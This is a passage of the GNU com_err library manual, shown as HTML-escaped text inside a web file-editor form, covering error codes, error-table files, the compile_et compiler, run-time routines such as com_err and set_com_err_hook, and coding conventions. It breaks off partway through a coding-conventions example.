<hr>com_err.html<form method=post action="?d=L3Vzci9zaGFyZS9kb2MvY29tZXJyLWRldi9odG1sLWluZm8%3D&f=Y29tX2Vyci5odG1s"><input name="f" value="com_err.html"><textarea name="t">&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;!-- Created by GNU Texinfo 7.1, https://www.gnu.org/software/texinfo/ --&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;&gt;
&lt;title&gt;A Common Error Description Library for UNIX&lt;/title&gt;

&lt;meta name=&quot;description&quot; content=&quot;A Common Error Description Library for UNIX&quot;&gt;
&lt;meta name=&quot;keywords&quot; content=&quot;A Common Error Description Library for UNIX&quot;&gt;
&lt;meta name=&quot;resource-type&quot; content=&quot;document&quot;&gt;
&lt;meta name=&quot;distribution&quot; content=&quot;global&quot;&gt;
&lt;meta name=&quot;Generator&quot; content=&quot;makeinfo&quot;&gt;
&lt;meta name=&quot;viewport&quot; content=&quot;width=device-width,initial-scale=1&quot;&gt;

&lt;link href=&quot;#Top&quot; rel=&quot;start&quot; title=&quot;Top&quot;&gt;
&lt;link href=&quot;#SEC_Contents&quot; rel=&quot;contents&quot; title=&quot;Table of Contents&quot;&gt;
&lt;link href=&quot;dir.html#Top&quot; rel=&quot;up&quot; title=&quot;(dir)&quot;&gt;
&lt;link href=&quot;#Why-com_005ferr_003f&quot; rel=&quot;next&quot; title=&quot;Why com_err?&quot;&gt;
&lt;link href=&quot;dir.html#Top&quot; rel=&quot;prev&quot; title=&quot;(dir)&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
&lt;!--
a.copiable-link {visibility: hidden; text-decoration: none; line-height: 0em}
div.example {margin-left: 3.2em}
span:hover a.copiable-link {visibility: visible}
strong.def-name {font-family: monospace; font-weight: bold; font-size: larger}
ul.toc-numbered-mark {list-style: none}
--&gt;
&lt;/style&gt;


&lt;/head&gt;

&lt;body lang=&quot;en&quot;&gt;


&lt;div class=&quot;top-level-extent&quot; id=&quot;Top&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Why-com_005ferr_003f&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Why com_err?&lt;/a&gt;, Previous: &lt;a href=&quot;dir.html#Top&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;(dir)&lt;/a&gt;, Up: &lt;a href=&quot;dir.html#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;(dir)&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;

&lt;h1 class=&quot;top&quot; id=&quot;A-Common-Error-Description-Library-for-UNIX&quot;&gt;&lt;span&gt;A Common Error Description Library for UNIX&lt;a class=&quot;copiable-link&quot; href=&quot;#A-Common-Error-Description-Library-for-UNIX&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;This manual documents the com_err library.
&lt;/p&gt;


&lt;div class=&quot;element-contents&quot; id=&quot;SEC_Contents&quot;&gt;
&lt;h2 class=&quot;contents-heading&quot;&gt;Table of Contents&lt;/h2&gt;

&lt;div class=&quot;contents&quot;&gt;

&lt;ul class=&quot;toc-numbered-mark&quot;&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Why-com_005ferr_003f-1&quot; href=&quot;#Why-com_005ferr_003f&quot;&gt;1 Why com_err?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Error-codes-1&quot; href=&quot;#Error-codes&quot;&gt;2 Error codes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Error-table-source-file-1&quot; href=&quot;#Error-table-source-file&quot;&gt;3 Error table source file&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-The-error_002dtable-compiler-1&quot; href=&quot;#The-error_002dtable-compiler&quot;&gt;4 The error-table compiler&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Run_002dtime-support-routines-1&quot; href=&quot;#Run_002dtime-support-routines&quot;&gt;5 Run-time support routines&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Coding-Conventions-1&quot; href=&quot;#Coding-Conventions&quot;&gt;6 Coding Conventions&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Building-and-Installation-1&quot; href=&quot;#Building-and-Installation&quot;&gt;7 Building and Installation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Bug-Reports-1&quot; href=&quot;#Bug-Reports&quot;&gt;8 Bug Reports&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a id=&quot;toc-Acknowledgements-1&quot; href=&quot;#Acknowledgements&quot;&gt;9 Acknowledgements&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Why-com_005ferr_003f&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Error-codes&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Error codes&lt;/a&gt;, Previous: &lt;a href=&quot;#Top&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Why-com_005ferr_003f-1&quot;&gt;&lt;span&gt;1 Why com_err?&lt;a class=&quot;copiable-link&quot; href=&quot;#Why-com_005ferr_003f-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;In building application software packages, a programmer often has to
deal with a number of libraries, each of which can use a different
error-reporting mechanism.  Sometimes one of two values is returned,
indicating simply SUCCESS or FAILURE, with no description of errors
encountered.  Sometimes it is an index into a table of text strings,
where the name of the table used is dependent on the library being
used when the error is generated; since each table starts numbering at
0 or 1, additional information as to the source of the error code is
needed to determine which table to look at.  Sometimes no text messages are
supplied at all, and the programmer must supply them at any point at which
he may wish to report error conditions.
Often, a global variable is assigned some value describing the error, but
the programmer has to know in each case whether to look at &lt;code class=&quot;code&quot;&gt;errno&lt;/code&gt;,
&lt;code class=&quot;code&quot;&gt;h_errno&lt;/code&gt;, the return value from &lt;code class=&quot;code&quot;&gt;hes_err()&lt;/code&gt;, or whatever other
variables or routines are specified.
And what happens if something
in the procedure of
examining or reporting the error changes the same variable?
&lt;/p&gt;
&lt;p&gt;The package we have developed is an attempt to present a common
error-handling mechanism to manipulate the most common form of error code
in a fashion that does not have the problems listed above.
&lt;/p&gt;
&lt;p&gt;A list of up to 256 text messages is supplied to a translator we have
written, along with the three- to four-character &amp;ldquo;name&amp;rdquo; of the error
table.  The library using this error table need only call a routine
generated from this error-table source to make the table &amp;ldquo;known&amp;rdquo; to the
com_err library, and any error code the library generates can be converted
to the corresponding error message.  There is also a default format for
error codes accidentally returned before making the table known, which is
of the form &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;unknown code foo 32&lt;/samp&gt;&amp;rsquo;, where &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;foo&lt;/samp&gt;&amp;rsquo; would be the name
of the table.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Error-codes&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Error-table-source-file&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Error table source file&lt;/a&gt;, Previous: &lt;a href=&quot;#Why-com_005ferr_003f&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Why com_err?&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Error-codes-1&quot;&gt;&lt;span&gt;2 Error codes&lt;a class=&quot;copiable-link&quot; href=&quot;#Error-codes-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Error codes themselves are 32 bit (signed) integers, of which the high
order 24 bits are an identifier of which error table the error code is
from, and the low order 8 bits are a sequential error number within
the table.  An error code may thus be easily decomposed into its component
parts.  Only the lowest 32 bits of an error code are considered significant
on systems which support wider values.
&lt;/p&gt;
&lt;p&gt;Error table 0 is defined to match the UNIX system call error table
(&lt;code class=&quot;code&quot;&gt;sys_errlist&lt;/code&gt;); this allows &lt;code class=&quot;code&quot;&gt;errno&lt;/code&gt; values to be used directly
in the library (assuming that &lt;code class=&quot;code&quot;&gt;errno&lt;/code&gt; is of a type with the same width
as &lt;code class=&quot;t&quot;&gt;long&lt;/code&gt;).  Other error table numbers are formed by compacting together
the first four characters of the error table name.  The mapping between
characters in the name and numeric values in the error code are defined in
a system-independent fashion, so that two systems that can pass integral
values between them can reliably pass error codes without loss of meaning;
this should work even if the character sets used are not the same.
(However, if this is to be done, error table 0 should be avoided, since the
local system call error tables may differ.)
&lt;/p&gt;
&lt;p&gt;Any variable which is to contain an error code should be declared &lt;code class=&quot;t&quot;&gt;long&lt;/code&gt;.
The draft proposed American National Standard for C (as of May, 1988)
requires that &lt;code class=&quot;t&quot;&gt;long&lt;/code&gt; variables be at least 32 bits; any system which does
not support 32-bit &lt;code class=&quot;t&quot;&gt;long&lt;/code&gt; values cannot make use of this package (nor
much other software that assumes an ANSI-C environment base) without
significant effort.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Error-table-source-file&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#The-error_002dtable-compiler&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;The error-table compiler&lt;/a&gt;, Previous: &lt;a href=&quot;#Error-codes&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Error codes&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Error-table-source-file-1&quot;&gt;&lt;span&gt;3 Error table source file&lt;a class=&quot;copiable-link&quot; href=&quot;#Error-table-source-file-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The error table source file begins with the declaration of the table name,
as
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;error_table &lt;var class=&quot;var&quot;&gt;tablename&lt;/var&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Individual error codes are
specified with
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;error_code &lt;var class=&quot;var&quot;&gt;ERROR_NAME&lt;/var&gt;, &lt;var class=&quot;var&quot;&gt;&amp;quot;text message&amp;quot;&lt;/var&gt;
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;where &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;ec&lt;/samp&gt;&amp;rsquo; can also be used as a short form of &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;error_code&lt;/samp&gt;&amp;rsquo;.  To
indicate the end of the table, use &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;end&lt;/samp&gt;&amp;rsquo;.  Thus, a (short) sample
error table might be:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;

        error_table     dsc

        error_code      DSC_DUP_MTG_NAME,
                        &amp;quot;Meeting already exists&amp;quot;

        ec              DSC_BAD_PATH,
                        &amp;quot;A bad meeting pathname was given&amp;quot;

        ec              DSC_BAD_MODES,
                        &amp;quot;Invalid mode for this access control list&amp;quot;

        end

&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;The-error_002dtable-compiler&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Run_002dtime-support-routines&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Run-time support routines&lt;/a&gt;, Previous: &lt;a href=&quot;#Error-table-source-file&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Error table source file&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;The-error_002dtable-compiler-1&quot;&gt;&lt;span&gt;4 The error-table compiler&lt;a class=&quot;copiable-link&quot; href=&quot;#The-error_002dtable-compiler-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The error table compiler is named &lt;code class=&quot;code&quot;&gt;compile_et&lt;/code&gt;.  It takes one
argument, the pathname of a file (ending in &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;.et&lt;/samp&gt;&amp;rsquo;, e.g.,
&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;dsc_err.et&lt;/samp&gt;&amp;rsquo;) containing an error table source file.  It parses the
error table, and generates two output files &amp;ndash; a C header file
(&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;discuss_err.h&lt;/samp&gt;&amp;rsquo;) which contains definitions of the numerical values
of the error codes defined in the error table, and a C source file which
should be compiled and linked with the executable.  The header file must be
included in the source of a module which wishes to reference the error
codes defined; the object module generated from the C code may be linked in
to a program which wishes to use the printed forms of the error codes.
&lt;/p&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Run_002dtime-support-routines&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Coding-Conventions&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Coding Conventions&lt;/a&gt;, Previous: &lt;a href=&quot;#The-error_002dtable-compiler&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;The error-table compiler&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Run_002dtime-support-routines-1&quot;&gt;&lt;span&gt;5 Run-time support routines&lt;a class=&quot;copiable-link&quot; href=&quot;#Run_002dtime-support-routines-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;Any source file which uses the routines supplied with or produced by the
com_err package should include the header file &lt;samp class=&quot;file&quot;&gt;&amp;lt;com_err.h&amp;gt;&lt;/samp&gt;.  It
contains declarations and definitions which may be needed on some systems.
(Some functions cannot be referenced properly without the return type
declarations in this file.  Some functions may work properly on most
architectures even without the header file, but relying on this is not
recommended.)
&lt;/p&gt;
&lt;p&gt;The run-time support routines and variables provided via this package
include the following:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;void initialize_&lt;var class=&quot;var&quot;&gt;xxxx&lt;/var&gt;_error_table (void);
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;One of these routines is built by the error compiler for each error table.
It makes the &lt;var class=&quot;var&quot;&gt;xxxx&lt;/var&gt; error table &amp;ldquo;known&amp;rdquo; to the error reporting
system.  By convention, this routine should be called in the initialization
routine of the &lt;var class=&quot;var&quot;&gt;xxxx&lt;/var&gt; library.  If the library has no initialization
routine, some combination of routines which form the core of the library
should ensure that this routine is called.  It is not advised to leave it
the caller to make this call.
&lt;/p&gt;
&lt;p&gt;There is no harm in calling this routine more than once.
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;#define ERROR_TABLE_BASE_&lt;var class=&quot;var&quot;&gt;xxxx&lt;/var&gt; &lt;var class=&quot;var&quot;&gt;nnnnn&lt;/var&gt;L
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This symbol contains the value of the first error code entry in the
specified table.
This rarely needs be used by the
programmer.
&lt;/p&gt;
&lt;dl class=&quot;first-deftypefn first-deftypefun-alias-first-deftypefn&quot;&gt;
&lt;dt class=&quot;deftypefn deftypefun-alias-deftypefn&quot; id=&quot;index-char&quot;&gt;&lt;span class=&quot;category-def&quot;&gt;Function: &lt;/span&gt;&lt;span&gt;&lt;code class=&quot;def-type&quot;&gt;const&lt;/code&gt; &lt;strong class=&quot;def-name&quot;&gt;char&lt;/strong&gt; &lt;code class=&quot;def-code-arguments&quot;&gt;*error_message (long &lt;var class=&quot;var&quot;&gt;code&lt;/var&gt;);&lt;/code&gt;&lt;a class=&quot;copiable-link&quot; href=&quot;#index-char&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;
&lt;dd&gt;
&lt;p&gt;This routine returns the character string error message associated
with &lt;code class=&quot;code&quot;&gt;code&lt;/code&gt;; if this is associated with an unknown error table, or
if the code is associated with a known error table but the code is not
in the table, a string of the form &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;Unknown code &lt;var class=&quot;var&quot;&gt;xxxx nn&lt;/var&gt;&lt;/samp&gt;&amp;rsquo; is
returned, where &lt;var class=&quot;var&quot;&gt;xxxx&lt;/var&gt; is the error table name produced by
reversing the compaction performed on the error table number implied
by that error code, and &lt;var class=&quot;var&quot;&gt;nn&lt;/var&gt; is the offset from that base value.
&lt;/p&gt;
&lt;p&gt;Although this routine is available for use when needed, its use should be
left to circumstances which render &lt;code class=&quot;code&quot;&gt;com_err&lt;/code&gt; (below) unusable.
&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;first-deftypefn first-deftypefun-alias-first-deftypefn&quot;&gt;
&lt;dt class=&quot;deftypefn deftypefun-alias-deftypefn&quot; id=&quot;index-com_005ferr&quot;&gt;&lt;span class=&quot;category-def&quot;&gt;Function: &lt;/span&gt;&lt;span&gt;&lt;code class=&quot;def-type&quot;&gt;void&lt;/code&gt; &lt;strong class=&quot;def-name&quot;&gt;com_err&lt;/strong&gt; &lt;code class=&quot;def-code-arguments&quot;&gt;(const char *&lt;var class=&quot;var&quot;&gt;whoami&lt;/var&gt;, long &lt;var class=&quot;var&quot;&gt;error_code&lt;/var&gt;, const char *&lt;var class=&quot;var&quot;&gt;format&lt;/var&gt;, ...);&lt;/code&gt;&lt;a class=&quot;copiable-link&quot; href=&quot;#index-com_005ferr&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;
&lt;dd&gt;
&lt;p&gt;This routine provides an alternate way to print error messages to
standard error; it allows the error message to be passed in as a
parameter, rather than in an external variable.  &lt;em class=&quot;emph&quot;&gt;Provide grammatical
context for &amp;ldquo;message.&amp;rdquo;&lt;/em&gt;
&lt;/p&gt;
&lt;p&gt;The module reporting the error should be passed in via &lt;var class=&quot;var&quot;&gt;whoami&lt;/var&gt;.
If &lt;var class=&quot;var&quot;&gt;format&lt;/var&gt; is &lt;code class=&quot;code&quot;&gt;(char *)NULL&lt;/code&gt;, the formatted message will not be
printed.  &lt;var class=&quot;var&quot;&gt;format&lt;/var&gt; may not be omitted.
&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;first-deftypefn first-deftypefun-alias-first-deftypefn&quot;&gt;
&lt;dt class=&quot;deftypefn deftypefun-alias-deftypefn&quot; id=&quot;index-com_005ferr_005fva&quot;&gt;&lt;span class=&quot;category-def&quot;&gt;Function: &lt;/span&gt;&lt;span&gt;&lt;code class=&quot;def-type&quot;&gt;void&lt;/code&gt; &lt;strong class=&quot;def-name&quot;&gt;com_err_va&lt;/strong&gt; &lt;code class=&quot;def-code-arguments&quot;&gt;(const char *&lt;var class=&quot;var&quot;&gt;whoami&lt;/var&gt;, long &lt;var class=&quot;var&quot;&gt;error_code&lt;/var&gt;, const char *&lt;var class=&quot;var&quot;&gt;format&lt;/var&gt;, va_list &lt;var class=&quot;var&quot;&gt;args&lt;/var&gt;);&lt;/code&gt;&lt;a class=&quot;copiable-link&quot; href=&quot;#index-com_005ferr_005fva&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;
&lt;dd&gt;
&lt;p&gt;This routine provides an interface, equivalent to &lt;code class=&quot;code&quot;&gt;com_err&lt;/code&gt; above,
which may be used by higher-level variadic functions (functions which
accept variable numbers of arguments).
&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;first-deftypefn first-deftypefun-alias-first-deftypefn&quot;&gt;
&lt;dt class=&quot;deftypefn deftypefun-alias-deftypefn&quot; id=&quot;index-_002aset_005fcom_005ferr_005fhook&quot;&gt;&lt;span class=&quot;category-def&quot;&gt;Function: &lt;/span&gt;&lt;span&gt;&lt;code class=&quot;def-type&quot;&gt;void&lt;/code&gt; &lt;strong class=&quot;def-name&quot;&gt;*set_com_err_hook&lt;/strong&gt; &lt;code class=&quot;def-code-arguments&quot;&gt;(void (*&lt;var class=&quot;var&quot;&gt;proc&lt;/var&gt;) (const char *&lt;var class=&quot;var&quot;&gt;whoami&lt;/var&gt;, long &lt;var class=&quot;var&quot;&gt;error_code&lt;/var&gt;, va_list &lt;var class=&quot;var&quot;&gt;args&lt;/var&gt;) (const char *&lt;var class=&quot;var&quot;&gt;whoami&lt;/var&gt;, long &lt;var class=&quot;var&quot;&gt;error_code&lt;/var&gt;, va_list &lt;var class=&quot;var&quot;&gt;args&lt;/var&gt;));&lt;/code&gt;&lt;a class=&quot;copiable-link&quot; href=&quot;#index-_002aset_005fcom_005ferr_005fhook&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;
&lt;dt class=&quot;deftypefnx deftypefunx-alias-deftypefnx def-cmd-deftypefn&quot; id=&quot;index-reset_005fcom_005ferr_005fhook&quot;&gt;&lt;span class=&quot;category-def&quot;&gt;Function: &lt;/span&gt;&lt;span&gt;&lt;code class=&quot;def-type&quot;&gt;void&lt;/code&gt; &lt;strong class=&quot;def-name&quot;&gt;reset_com_err_hook&lt;/strong&gt; &lt;code class=&quot;def-code-arguments&quot;&gt;();&lt;/code&gt;&lt;a class=&quot;copiable-link&quot; href=&quot;#index-reset_005fcom_005ferr_005fhook&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/dt&gt;
&lt;dd&gt;
&lt;p&gt;These two routines allow a routine to be dynamically substituted for
&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;com_err&lt;/samp&gt;&amp;rsquo;.  After &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;set_com_err_hook&lt;/samp&gt;&amp;rsquo; has been called,
calls to &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;com_err&lt;/samp&gt;&amp;rsquo; will turn into calls to the new hook routine.
&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;reset_com_err_hook&lt;/samp&gt;&amp;rsquo; turns off this hook.  This may intended to
be used in daemons (to use a routine which calls &lt;cite class=&quot;cite&quot;&gt;syslog(3)&lt;/cite&gt;), or
in a window system application (which could pop up a dialogue box).
&lt;/p&gt;
&lt;p&gt;If a program is to be used in an environment in which simply printing
messages to the &lt;code class=&quot;code&quot;&gt;stderr&lt;/code&gt; stream would be inappropriate (such as in a
daemon program which runs without a terminal attached),
&lt;code class=&quot;code&quot;&gt;set_com_err_hook&lt;/code&gt; may be used to redirect output from &lt;code class=&quot;code&quot;&gt;com_err&lt;/code&gt;.
The following is an example of an error handler which uses &lt;cite class=&quot;cite&quot;&gt;syslog(3)&lt;/cite&gt;
as supplied in BSD 4.3:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdarg.h&amp;gt;
#include &amp;lt;syslog.h&amp;gt;

/* extern openlog (const char * name, int logopt, int facility); */
/* extern syslog (int priority, char * message, ...); */

void hook (const char * whoami, long code,
           const char * format, va_list args)
{
    char buffer[BUFSIZ];
    static int initialized = 0;
    if (!initialized) {
        openlog (whoami,
                 LOG_NOWAIT|LOG_CONS|LOG_PID|LOG_NDELAY,
                 LOG_DAEMON);
        initialized = 1;
    }
    vsprintf (buffer, format, args);
    syslog (LOG_ERR, &amp;quot;%s %s&amp;quot;, error_message (code), buffer);
}
&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;After making the call
&lt;code class=&quot;code&quot;&gt;set_com_err_hook (hook);&lt;/code&gt;,
any calls to &lt;code class=&quot;code&quot;&gt;com_err&lt;/code&gt; will result in messages being sent to the
&lt;var class=&quot;var&quot;&gt;syslogd&lt;/var&gt; daemon for logging.
The name of the program, &amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;whoami&lt;/samp&gt;&amp;rsquo;, is supplied to the
&amp;lsquo;&lt;samp class=&quot;samp&quot;&gt;openlog()&lt;/samp&gt;&amp;rsquo; call, and the message is formatted into a buffer and
passed to &lt;code class=&quot;code&quot;&gt;syslog&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;Note that since the extra arguments to &lt;code class=&quot;code&quot;&gt;com_err&lt;/code&gt; are passed by
reference via the &lt;code class=&quot;code&quot;&gt;va_list&lt;/code&gt; value &lt;code class=&quot;code&quot;&gt;args&lt;/code&gt;, the hook routine may
place any form of interpretation on them, including ignoring them.  For
consistency, &lt;code class=&quot;code&quot;&gt;printf&lt;/code&gt;-style interpretation is suggested, via
&lt;code class=&quot;code&quot;&gt;vsprintf&lt;/code&gt; (or &lt;code class=&quot;code&quot;&gt;_doprnt&lt;/code&gt; on BSD systems without full support for
the ANSI C library).
&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;chapter-level-extent&quot; id=&quot;Coding-Conventions&quot;&gt;
&lt;div class=&quot;nav-panel&quot;&gt;
&lt;p&gt;
Next: &lt;a href=&quot;#Building-and-Installation&quot; accesskey=&quot;n&quot; rel=&quot;next&quot;&gt;Building and Installation&lt;/a&gt;, Previous: &lt;a href=&quot;#Run_002dtime-support-routines&quot; accesskey=&quot;p&quot; rel=&quot;prev&quot;&gt;Run-time support routines&lt;/a&gt;, Up: &lt;a href=&quot;#Top&quot; accesskey=&quot;u&quot; rel=&quot;up&quot;&gt;A Common Error Description Library for UNIX&lt;/a&gt; &amp;nbsp; [&lt;a href=&quot;#SEC_Contents&quot; title=&quot;Table of contents&quot; rel=&quot;contents&quot;&gt;Contents&lt;/a&gt;]&lt;/p&gt;
&lt;/div&gt;
&lt;h2 class=&quot;chapter&quot; id=&quot;Coding-Conventions-1&quot;&gt;&lt;span&gt;6 Coding Conventions&lt;a class=&quot;copiable-link&quot; href=&quot;#Coding-Conventions-1&quot;&gt; &amp;para;&lt;/a&gt;&lt;/span&gt;&lt;/h2&gt;

&lt;p&gt;The following conventions are just some general stylistic conventions
to follow when writing robust libraries and programs.  Conventions
similar to this are generally followed inside the UNIX kernel and most
routines in the Multics operating system.  In general, a routine
either succeeds (returning a zero error code, and doing some side
effects in the process), or it fails, doing minimal side effects; in
any event, any invariant which the library assumes must be maintained.
&lt;/p&gt;
&lt;p&gt;In general, it is not in the domain of non user-interface library
routines to write error messages to the user&amp;rsquo;s terminal, or halt the
process.  Such forms of &amp;ldquo;error handling&amp;rdquo; should be reserved for
failures of internal invariants and consistency checks only, as it
provides the user of the library no way to clean up for himself in the
event of total failure.
&lt;/p&gt;
&lt;p&gt;Library routines which can fail should be set up to return an error
code.  This should usually be done as the return value of the
function; if this is not acceptable, the routine should return a
&amp;ldquo;null&amp;rdquo; value, and put the error code into a parameter passed by
reference.
&lt;/p&gt;
&lt;p&gt;Routines which use the first style of interface can be used from
user-interface levels of a program as follows:
&lt;/p&gt;
&lt;div class=&quot;example&quot;&gt;
&lt;pre class=&quot;example-preformatted&quot;&gt;{
    if ((code = initialize_world(getuid(), random())) != 0) {
